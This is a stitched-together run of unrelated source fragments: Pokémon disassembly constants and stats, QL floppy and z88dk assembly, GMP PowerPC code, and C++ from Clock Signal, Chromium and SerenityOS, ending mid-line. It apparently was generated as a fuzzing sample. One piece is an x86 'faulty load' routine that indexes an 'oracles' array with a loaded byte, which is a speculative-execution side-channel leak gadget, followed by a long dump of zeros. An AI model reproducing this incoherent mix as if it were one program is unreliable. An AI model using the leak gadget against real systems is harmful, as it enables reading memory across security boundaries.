(D86E, bit 1) const EVENT_93A ; 93A, (D86E, bit 2) const EVENT_93B ; 93B, (D86E, bit 3) const EVENT_93C ; 93C, (D86E, bit 4) const EVENT_93D ; 93D, (D86E, bit 5) const EVENT_93E ; 93E, (D86E, bit 6) const EVENT_93F ; 93F, (D86E, bit 7) const EVENT_940 ; 940, (D86F, bit 0) const EVENT_941 ; 941, (D86F, bit 1) const EVENT_942 ; 942, (D86F, bit 2) const EVENT_943 ; 943, (D86F, bit 3) const EVENT_944 ; 944, (D86F, bit 4) const EVENT_945 ; 945, (D86F, bit 5) const EVENT_946 ; 946, (D86F, bit 6) const EVENT_947 ; 947, (D86F, bit 7) const EVENT_948 ; 948, (D870, bit 0) const EVENT_949 ; 949, (D870, bit 1) const EVENT_94A ; 94A, (D870, bit 2) const EVENT_94B ; 94B, (D870, bit 3) const EVENT_94C ; 94C, (D870, bit 4) const EVENT_94D ; 94D, (D870, bit 5) const EVENT_94E ; 94E, (D870, bit 6) const EVENT_94F ; 94F, (D870, bit 7) const EVENT_950 ; 950, (D871, bit 0) const EVENT_951 ; 951, (D871, bit 1) const EVENT_952 ; 952, (D871, bit 2) const EVENT_953 ; 953, (D871, bit 3) const EVENT_954 ; 954, (D871, bit 4) const EVENT_955 ; 955, (D871, bit 5) const EVENT_956 ; 956, (D871, bit 6) const EVENT_957 ; 957, (D871, bit 7) const EVENT_958 ; 958, (D872, bit 0) const EVENT_959 ; 959, (D872, bit 1) const EVENT_95A ; 95A, (D872, bit 2) const EVENT_95B ; 95B, (D872, bit 3) const EVENT_95C ; 95C, (D872, bit 4) const EVENT_95D ; 95D, (D872, bit 5) const EVENT_95E ; 95E, (D872, bit 6) const EVENT_95F ; 95F, (D872, bit 7) const EVENT_960 ; 960, (D873, bit 0) const EVENT_961 ; 961, (D873, bit 1) const EVENT_962 ; 962, (D873, bit 2) const EVENT_963 ; 963, (D873, bit 3) const EVENT_964 ; 964, (D873, bit 4) const EVENT_965 ; 965, (D873, bit 5) const EVENT_966 ; 966, (D873, bit 6) const EVENT_967 ; 967, (D873, bit 7) const EVENT_968 ; 968, (D874, bit 0) const EVENT_969 ; 969, (D874, bit 1) const EVENT_96A ; 96A, (D874, bit 2) const EVENT_96B ; 96B, (D874, bit 3) const EVENT_96C ; 96C, (D874, bit 4) const EVENT_96D ; 96D, (D874, bit 5) const EVENT_96E ; 96E, (D874, bit 6) const EVENT_96F ; 96F, (D874, bit 7) const EVENT_970 ; 970, (D875, bit 0) const EVENT_971 ; 971, (D875, bit 1) const EVENT_972 ; 972, (D875, bit 2) const EVENT_973 ; 973, (D875, bit 3) const EVENT_974 ; 974, (D875, bit 4) const EVENT_975 ; 975, (D875, bit 5) const EVENT_976 ; 976, (D875, bit 6) const EVENT_977 ; 977, (D875, bit 7) const EVENT_978 ; 978, (D876, bit 0) const EVENT_979 ; 979, (D876, bit 1) const EVENT_97A ; 97A, (D876, bit 2) const EVENT_97B ; 97B, (D876, bit 3) const EVENT_97C ; 97C, (D876, bit 4) const EVENT_97D ; 97D, (D876, bit 5) const EVENT_97E ; 97E, (D876, bit 6) const EVENT_97F ; 97F, (D876, bit 7) const EVENT_980 ; 980, (D877, bit 0) const EVENT_981 ; 981, (D877, bit 1) const EVENT_982 ; 982, (D877, bit 2) const EVENT_983 ; 983, (D877, bit 3) const EVENT_984 ; 984, (D877, bit 4) const EVENT_985 ; 985, (D877, bit 5) const EVENT_986 ; 986, (D877, bit 6) const EVENT_987 ; 987, (D877, bit 7) const EVENT_988 ; 988, (D878, bit 0) const EVENT_989 ; 989, (D878, bit 1) const EVENT_98A ; 98A, (D878, bit 2) const EVENT_98B ; 98B, (D878, bit 3) const EVENT_98C ; 98C, (D878, bit 4) const EVENT_98D ; 98D, (D878, bit 5) const EVENT_98E ; 98E, (D878, bit 6) const EVENT_98F ; 98F, (D878, bit 7) const EVENT_990 ; 990, (D879, bit 0) const EVENT_991 ; 991, (D879, bit 1) const EVENT_992 ; 992, (D879, bit 2) const EVENT_993 ; 993, (D879, bit 3) const EVENT_994 ; 994, (D879, bit 4) const EVENT_995 ; 995, (D879, bit 5) const EVENT_996 ; 996, (D879, bit 6) const EVENT_997 ; 997, (D879, bit 7) const EVENT_998 ; 998, (D87A, bit 0) const EVENT_999 ; 999, (D87A, bit 1) const EVENT_99A ; 99A, (D87A, bit 2) const EVENT_99B ; 99B, (D87A, bit 3) const EVENT_99C ; 99C, (D87A, bit 4) const EVENT_99D ; 99D, (D87A, bit 5) const EVENT_99E ; 99E, (D87A, bit 6) const EVENT_99F ; 99F, (D87A, bit 7) const EVENT_9A0 ; 9A0, (D87B, bit 0) const EVENT_9A1 ; 9A1, (D87B, bit 1) const EVENT_9A2 ; 9A2, (D87B, bit 2) const EVENT_9A3 ; 9A3, (D87B, bit 3) const EVENT_9A4 ; 9A4, (D87B, bit 4) const EVENT_9A5 ; 9A5, (D87B, bit 5) const EVENT_9A6 ; 9A6, (D87B, bit 6) const EVENT_9A7 ; 9A7, (D87B, bit 7) const EVENT_9A8 ; 9A8, (D87C, bit 0) const EVENT_9A9 ; 9A9, (D87C, bit 1) const EVENT_9AA ; 9AA, (D87C, bit 2) const EVENT_9AB ; 9AB, (D87C, bit 3) const EVENT_9AC ; 9AC, (D87C, bit 4) const EVENT_9AD ; 9AD, (D87C, bit 5) const EVENT_9AE ; 9AE, (D87C, bit 6) const EVENT_9AF ; 9AF, (D87C, bit 7) const EVENT_9B0 ; 9B0, (D87D, bit 0) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_0 ; 9B1, (D87D, bit 1) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_1 ; 9B2, (D87D, bit 2) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_2 ; 9B3, (D87D, bit 3) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_3 ; 9B4, (D87D, bit 4) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_4 ; 9B5, (D87D, bit 5) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_5 ; 9B6, (D87D, bit 6) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_6 ; 9B7, (D87D, bit 7) const EVENT_BEAT_ROCK_TUNNEL_2_TRAINER_7 ; 9B8, (D87E, bit 0) const EVENT_9B9 ; 9B9, (D87E, bit 1) const EVENT_9BA ; 9BA, (D87E, bit 2) const EVENT_9BB ; 9BB, (D87E, bit 3) const EVENT_9BC ; 9BC, (D87E, bit 4) const EVENT_9BD ; 9BD, (D87E, bit 5) const EVENT_9BE ; 9BE, (D87E, bit 6) const EVENT_9BF ; 9BF, (D87E, bit 7) const EVENT_SEAFOAM2_BOULDER1_DOWN_HOLE ; 9C0, (D87F, bit 0) const EVENT_SEAFOAM2_BOULDER2_DOWN_HOLE ; 9C1, (D87F, bit 1) const EVENT_9C2 ; 9C2, (D87F, bit 2) const EVENT_9C3 ; 9C3, (D87F, bit 3) const EVENT_9C4 ; 9C4, (D87F, bit 4) const EVENT_9C5 ; 9C5, (D87F, bit 5) const EVENT_9C6 ; 9C6, (D87F, bit 6) const EVENT_9C7 ; 9C7, (D87F, bit 7) const EVENT_SEAFOAM3_BOULDER1_DOWN_HOLE ; 9C8, (D880, bit 0) const EVENT_SEAFOAM3_BOULDER2_DOWN_HOLE ; 9C9, (D880, bit 1) const EVENT_9CA ; 9CA, (D880, bit 2) const EVENT_9CB ; 9CB, (D880, bit 3) const EVENT_9CC ; 9CC, (D880, bit 4) const EVENT_9CD ; 9CD, (D880, bit 5) const EVENT_9CE ; 9CE, (D880, bit 6) const EVENT_9CF ; 9CF, (D880, bit 7) const EVENT_SEAFOAM4_BOULDER1_DOWN_HOLE ; 9D0, (D881, bit 0) const EVENT_SEAFOAM4_BOULDER2_DOWN_HOLE ; 9D1, (D881, bit 1) const EVENT_9D2 ; 9D2, (D881, bit 2) const EVENT_9D3 ; 9D3, (D881, bit 3) const EVENT_9D4 ; 9D4, (D881, bit 4) const EVENT_9D5 ; 9D5, (D881, bit 5) const EVENT_9D6 ; 9D6, (D881, bit 6) const EVENT_9D7 ; 9D7, (D881, bit 7) const EVENT_9D8 ; 9D8, (D882, bit 0) const EVENT_9D9 ; 9D9, (D882, bit 1) const EVENT_BEAT_ARTICUNO ; 9DA, (D882, bit 2) const EVENT_9DB ; 9DB, (D882, bit 3) const EVENT_9DC ; 9DC, (D882, bit 4) const EVENT_9DD ; 9DD, (D882, bit 5) const EVENT_9DE ; 9DE, (D882, bit 6) const EVENT_9DF ; 9DF, (D882, bit 7) const EVENT_9E0 ; 9E0, (D883, bit 0) const EVENT_9E1 ; 9E1, (D883, bit 1) const EVENT_9E2 ; 9E2, (D883, bit 2) const EVENT_9E3 ; 9E3, (D883, bit 3) const EVENT_9E4 ; 9E4, (D883, bit 4) const EVENT_9E5 ; 9E5, (D883, bit 5) const EVENT_9E6 ; 9E6, (D883, bit 6) const EVENT_9E7 ; 9E7, (D883, bit 7) const EVENT_9E8 ; 9E8, (D884, bit 0) const EVENT_9E9 ; 9E9, (D884, bit 1) const EVENT_9EA ; 9EA, (D884, bit 2) const EVENT_9EB ; 9EB, (D884, bit 3) const EVENT_9EC ; 9EC, (D884, bit 4) const EVENT_9ED ; 9ED, (D884, bit 5) const EVENT_9EE ; 9EE, (D884, bit 6) const EVENT_9EF ; 9EF, (D884, bit 7) const EVENT_9F0 ; 9F0, (D885, bit 0) const EVENT_9F1 ; 9F1, (D885, bit 1) const EVENT_9F2 ; 9F2, (D885, bit 2) const EVENT_9F3 ; 9F3, (D885, bit 3) const EVENT_9F4 ; 9F4, (D885, bit 4) const EVENT_9F5 ; 9F5, (D885, bit 5) const EVENT_9F6 ; 9F6, (D885, bit 6) const EVENT_9F7 ; 9F7, (D885, bit 7) const EVENT_9F8 ; 9F8, (D886, bit 0) const EVENT_9F9 ; 9F9, (D886, bit 1) const EVENT_9FA ; 9FA, (D886, bit 2) const EVENT_9FB ; 9FB, (D886, bit 3) const EVENT_9FC ; 9FC, (D886, bit 4) const EVENT_9FD ; 9FD, (D886, bit 5) const EVENT_9FE ; 9FE, (D886, bit 6) const EVENT_9FF ; 9FF, (D886, bit 7)
db 0 ; species ID placeholder db 80, 82, 100, 80, 83, 100 ; hp atk def spd sat sdf db GRASS, GRASS ; type db 45 ; catch rate db 208 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F12_5 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/meganium/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_MONSTER, EGG_PLANT ; egg groups ; tm/hm learnset tmhm HEADBUTT, CURSE, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, HYPER_BEAM, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, IRON_TAIL, EARTHQUAKE, RETURN, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, DETECT, REST, ATTRACT, FURY_CUTTER, UPROOT, BRIGHT_MOSS ; end
; DV3 Standard Floppy Disk Direct Sector Read (16 bit DMA)  1998 Tony Tebby section dv3 xdef fd_rdirect16 ; direct sector read (16 bit DMA) xref fd_rdirect ; direct sector read include 'dev8_dv3_keys' include 'dev8_dv3_fd_keys' ;+++ ; This routine reads a sector from a Floppy disk for direct sector IO ; If the data is at an odd address, it is buffered. ; ; d0 cr cylinder + side + sector / error code ; d7 c p drive ID / number ; a1 c p address to read into ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- fd_rdirect16 exg a1,d0 ; check if address odd btst #0,d0 exg d0,a1 beq.s fd_rdirect ; even address fdrd.reg reg a0/a1 stk_a1 equ 4 movem.l fdrd.reg,-(sp) lea fdl_buff(a3),a1 ; read into buffer move.l a1,a0 ; save it bsr.s fd_rdirect ; read bne.s fdrd_exit ; failed move.l stk_a1(sp),a1 ; destination address move.w ddf_smask(a4),d0 fdrd_loop move.b (a0)+,(a1)+ dbra d0,fdrd_loop moveq #0,d0 fdrd_exit movem.l (sp)+,fdrd.reg rts end
; int posix_memalign_unlocked(void **memptr, size_t alignment, size_t size) SECTION code_clib SECTION code_alloc_malloc PUBLIC posix_memalign_unlocked EXTERN asm_posix_memalign_unlocked posix_memalign_unlocked: pop af pop hl pop bc pop de push de push bc push hl push af jp asm_posix_memalign_unlocked
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x13f47, %r13 nop nop cmp %rcx, %rcx mov (%r13), %di nop and $48209, %rcx lea addresses_A_ht+0x1a05f, %r12 and $11437, %rdi mov (%r12), %r15 xor %r13, %r13 lea addresses_WT_ht+0x1b7f7, %rsi nop nop nop dec %rcx movl $0x61626364, (%rsi) nop nop nop nop sub $25588, %r12 lea addresses_WT_ht+0x6709, %rsi lea addresses_normal_ht+0x7aaf, %rdi nop nop xor $29029, %r15 mov $102, %rcx rep movsb sub %r15, %r15 lea addresses_D_ht+0x97c7, %r15 nop cmp %rdx, %rdx mov (%r15), %rcx nop nop and $9981, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r8 push %rbx push %rcx // Faulty Load lea addresses_UC+0x17f47, %rcx nop nop sub $61018, %r13 mov (%rcx), %bx lea oracles, %r12 and $0xff, %rbx shlq $12, %rbx mov (%r12,%rbx,1), %rbx pop %rcx pop %rbx pop %r8 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// // SoundGenerator.hpp // Clock Signal // // Created by Thomas Harte on 03/12/2016. // Copyright 2016 Thomas Harte. All rights reserved. // #ifndef Electron_SoundGenerator_hpp #define Electron_SoundGenerator_hpp #include "../../Outputs/Speaker/Implementation/SampleSource.hpp" #include "../../Concurrency/AsyncTaskQueue.hpp" namespace Electron { class SoundGenerator: public ::Outputs::Speaker::SampleSource { public: SoundGenerator(Concurrency::DeferringAsyncTaskQueue &audio_queue); void set_divider(uint8_t divider); void set_is_enabled(bool is_enabled); static constexpr unsigned int clock_rate_divider = 8; // To satisfy ::SampleSource. void get_samples(std::size_t number_of_samples, int16_t *target); void skip_samples(std::size_t number_of_samples); void set_sample_volume_range(std::int16_t range); static constexpr bool get_is_stereo() { return false; } private: Concurrency::DeferringAsyncTaskQueue &audio_queue_; unsigned int counter_ = 0; unsigned int divider_ = 0; bool is_enabled_ = false; unsigned int volume_ = 0; }; } #endif /* Speaker_hpp */
dnl PowerPC-64 mpn_addlsh1_n -- rp[] = up[] + (vp[] << 1) dnl Copyright 2003, 2005 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C POWER3/PPC630: 2 (1.5 c/l should be possible) C POWER4/PPC970: 4 (2.0 c/l should be possible) C INPUT PARAMETERS C rp r3 C up r4 C vp r5 C n r6 define(`rp',`r3') define(`up',`r4') define(`vp',`r5') define(`s0',`r6') define(`s1',`r7') define(`u0',`r8') define(`v0',`r10') define(`v1',`r11') ASM_START() PROLOGUE(mpn_addlsh1_n) mtctr r6 C copy n in ctr addic r31, r31, 0 C clear cy ld v0, 0(vp) C load v limb ld u0, 0(up) C load u limb addi up, up, -8 C update up addi rp, rp, -8 C update rp sldi s1, v0, 1 bdz L(end) C If done, skip loop L(oop): ld v1, 8(vp) C load v limb adde s1, s1, u0 C add limbs with cy, set cy std s1, 8(rp) C store result limb srdi s0, v0, 63 C shift down previous v limb ldu u0, 16(up) C load u limb and update up rldimi s0, v1, 1, 0 C left shift v limb and merge with prev v limb bdz L(exit) C decrement ctr and exit if done ldu v0, 16(vp) C load v limb and update vp adde s0, s0, u0 C add limbs with cy, set cy stdu s0, 16(rp) C store result limb and update rp srdi s1, v1, 63 C shift down previous v limb ld u0, 8(up) C load u limb rldimi s1, v0, 1, 0 C left shift v limb and merge with prev v limb bdnz L(oop) C decrement ctr and loop back L(end): adde r7, s1, u0 std r7, 8(rp) C store last result limb srdi r3, v0, 63 addze r3, r3 blr L(exit): adde r7, s0, u0 std r7, 16(rp) C store last result limb srdi r3, v1, 63 addze r3, r3 blr EPILOGUE()
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Needed for defined(OS_WIN) #include "build/build_config.h" // Windows headers must come first. #if defined(OS_WIN) #include <windows.h> #endif // Proceed with header includes in usual order. #include "content/browser/scheduler/responsiveness/native_event_observer.h" #include "ui/events/platform/platform_event_source.h" #if defined(OS_LINUX) #include "ui/aura/env.h" #include "ui/events/event.h" #endif #if defined(OS_WIN) #include "base/message_loop/message_loop_current.h" #endif namespace content { namespace responsiveness { NativeEventObserver::NativeEventObserver( WillRunEventCallback will_run_event_callback, DidRunEventCallback did_run_event_callback) : will_run_event_callback_(will_run_event_callback), did_run_event_callback_(did_run_event_callback) { RegisterObserver(); } NativeEventObserver::~NativeEventObserver() { DeregisterObserver(); } #if defined(OS_LINUX) void NativeEventObserver::RegisterObserver() { aura::Env::GetInstance()->AddWindowEventDispatcherObserver(this); } void NativeEventObserver::DeregisterObserver() { aura::Env::GetInstance()->RemoveWindowEventDispatcherObserver(this); } void NativeEventObserver::OnWindowEventDispatcherStartedProcessing( aura::WindowEventDispatcher* dispatcher, const ui::Event& event) { EventInfo info{&event}; events_being_processed_.push_back(info); will_run_event_callback_.Run(&event); } void NativeEventObserver::OnWindowEventDispatcherFinishedProcessingEvent( aura::WindowEventDispatcher* dispatcher) { EventInfo& info = events_being_processed_.back(); did_run_event_callback_.Run(info.unique_id); events_being_processed_.pop_back(); } #endif // defined(OS_LINUX) #if defined(OS_WIN) void NativeEventObserver::RegisterObserver() { base::MessageLoopCurrentForUI::Get()->AddMessagePumpObserver(this); } void NativeEventObserver::DeregisterObserver() { base::MessageLoopCurrentForUI::Get()->RemoveMessagePumpObserver(this); } void NativeEventObserver::WillDispatchMSG(const MSG& msg) { will_run_event_callback_.Run(&msg); } void NativeEventObserver::DidDispatchMSG(const MSG& msg) { did_run_event_callback_.Run(&msg); } #endif // defined(OS_WIN) #if defined(OS_ANDROID) || defined(OS_FUCHSIA) void NativeEventObserver::RegisterObserver() {} void NativeEventObserver::DeregisterObserver() {} #endif // defined(OS_ANDROID) || defined(OS_FUCHSIA) } // namespace responsiveness } // namespace content
/* * Copyright (c) 2020, Emanuel Sprung <emanuel.sprung@gmail.com> * * SPDX-License-Identifier: BSD-2-Clause */ #include "RegexMatcher.h" #include "RegexDebug.h" #include "RegexParser.h" #include <AK/Debug.h> #include <AK/ScopedValueRollback.h> #include <AK/String.h> #include <AK/StringBuilder.h> namespace regex { #if REGEX_DEBUG static RegexDebug s_regex_dbg(stderr); #endif template<class Parser> Regex<Parser>::Regex(StringView pattern, typename ParserTraits<Parser>::OptionsType regex_options) { pattern_value = pattern.to_string(); regex::Lexer lexer(pattern); Parser parser(lexer, regex_options); parser_result = parser.parse(); if (parser_result.error == regex::Error::NoError) matcher = make<Matcher<Parser>>(*this, regex_options); } template<class Parser> typename ParserTraits<Parser>::OptionsType Regex<Parser>::options() const { if (parser_result.error != Error::NoError) return {}; return matcher->options(); } template<class Parser> String Regex<Parser>::error_string(Optional<String> message) const { StringBuilder eb; eb.append("Error during parsing of regular expression:\n"); eb.appendff(" {}\n ", pattern_value); for (size_t i = 0; i < parser_result.error_token.position(); ++i) eb.append(' '); eb.appendff("^---- {}", message.value_or(get_error_string(parser_result.error))); return eb.build(); } template<typename Parser> RegexResult Matcher<Parser>::match(const RegexStringView& view, Optional<typename ParserTraits<Parser>::OptionsType> regex_options) const { AllOptions options = m_regex_options | regex_options.value_or({}).value(); if (options.has_flag_set(AllFlags::Multiline)) return match(view.lines(), regex_options); // FIXME: how do we know, which line ending a line has (1char or 2char)? This is needed to get the correct match offsets from start of string... Vector<RegexStringView> views; views.append(view); return match(views, regex_options); } template<typename Parser> RegexResult Matcher<Parser>::match(const Vector<RegexStringView> views, Optional<typename ParserTraits<Parser>::OptionsType> regex_options) const { // If the pattern *itself* isn't stateful, reset any changes to start_offset. if (!((AllFlags)m_regex_options.value() & AllFlags::Internal_Stateful)) m_pattern.start_offset = 0; size_t match_count { 0 }; MatchInput input; MatchState state; MatchOutput output; input.regex_options = m_regex_options | regex_options.value_or({}).value(); input.start_offset = m_pattern.start_offset; output.operations = 0; size_t lines_to_skip = 0; if (input.regex_options.has_flag_set(AllFlags::Internal_Stateful)) { if (views.size() > 1 && input.start_offset > views.first().length()) { dbgln_if(REGEX_DEBUG, "Started with start={}, goff={}, skip={}", input.start_offset, input.global_offset, lines_to_skip); for (auto& view : views) { if (input.start_offset < view.length() + 1) break; ++lines_to_skip; input.start_offset -= view.length() + 1; input.global_offset += view.length() + 1; } dbgln_if(REGEX_DEBUG, "Ended with start={}, goff={}, skip={}", input.start_offset, input.global_offset, lines_to_skip); } } if (c_match_preallocation_count) { state.matches.ensure_capacity(c_match_preallocation_count); state.capture_group_matches.ensure_capacity(c_match_preallocation_count); state.named_capture_group_matches.ensure_capacity(c_match_preallocation_count); auto& capture_groups_count = m_pattern.parser_result.capture_groups_count; auto& named_capture_groups_count = m_pattern.parser_result.named_capture_groups_count; for (size_t j = 0; j < c_match_preallocation_count; ++j) { state.matches.empend(); state.capture_group_matches.unchecked_append({}); state.capture_group_matches.at(j).ensure_capacity(capture_groups_count); for (size_t k = 0; k < capture_groups_count; ++k) state.capture_group_matches.at(j).unchecked_append({}); state.named_capture_group_matches.unchecked_append({}); state.named_capture_group_matches.at(j).ensure_capacity(named_capture_groups_count); } } auto append_match = [](auto& input, auto& state, auto& start_position) { if (state.matches.size() == input.match_index) state.matches.empend(); VERIFY(start_position + state.string_position - start_position <= input.view.length()); if (input.regex_options.has_flag_set(AllFlags::StringCopyMatches)) { state.matches.at(input.match_index) = { input.view.substring_view(start_position, state.string_position - start_position).to_string(), input.line, start_position, input.global_offset + start_position }; } else { // let the view point to the original string ... state.matches.at(input.match_index) = { input.view.substring_view(start_position, state.string_position - start_position), input.line, start_position, input.global_offset + start_position }; } }; #if REGEX_DEBUG s_regex_dbg.print_header(); #endif bool continue_search = input.regex_options.has_flag_set(AllFlags::Global) || input.regex_options.has_flag_set(AllFlags::Multiline); if (input.regex_options.has_flag_set(AllFlags::Internal_Stateful)) continue_search = false; for (auto& view : views) { if (lines_to_skip != 0) { ++input.line; --lines_to_skip; continue; } input.view = view; dbgln_if(REGEX_DEBUG, "[match] Starting match with view ({}): _{}_", view.length(), view); auto view_length = view.length(); size_t view_index = m_pattern.start_offset; state.string_position = view_index; bool succeeded = false; if (view_index == view_length && m_pattern.parser_result.match_length_minimum == 0) { // Run the code until it tries to consume something. // This allows non-consuming code to run on empty strings, for instance // e.g. "Exit" MatchOutput temp_output { output }; input.column = match_count; input.match_index = match_count; state.string_position = view_index; state.instruction_position = 0; auto success = execute(input, state, temp_output, 0); // This success is acceptable only if it doesn't read anything from the input (input length is 0). if (state.string_position <= view_index) { if (success.value()) { output = move(temp_output); if (!match_count) { // Nothing was *actually* matched, so append an empty match. append_match(input, state, view_index); ++match_count; } } } } for (; view_index < view_length; ++view_index) { auto& match_length_minimum = m_pattern.parser_result.match_length_minimum; // FIXME: More performant would be to know the remaining minimum string // length needed to match from the current position onwards within // the vm. Add new OpCode for MinMatchLengthFromSp with the value of // the remaining string length from the current path. The value though // has to be filled in reverse. That implies a second run over bytecode // after generation has finished. if (match_length_minimum && match_length_minimum > view_length - view_index) break; input.column = match_count; input.match_index = match_count; state.string_position = view_index; state.instruction_position = 0; auto success = execute(input, state, output, 0); if (!success.has_value()) return { false, 0, {}, {}, {}, output.operations }; if (success.value()) { succeeded = true; if (input.regex_options.has_flag_set(AllFlags::MatchNotEndOfLine) && state.string_position == input.view.length()) { if (!continue_search) break; continue; } if (input.regex_options.has_flag_set(AllFlags::MatchNotBeginOfLine) && view_index == 0) { if (!continue_search) break; continue; } dbgln_if(REGEX_DEBUG, "state.string_position={}, view_index={}", state.string_position, view_index); dbgln_if(REGEX_DEBUG, 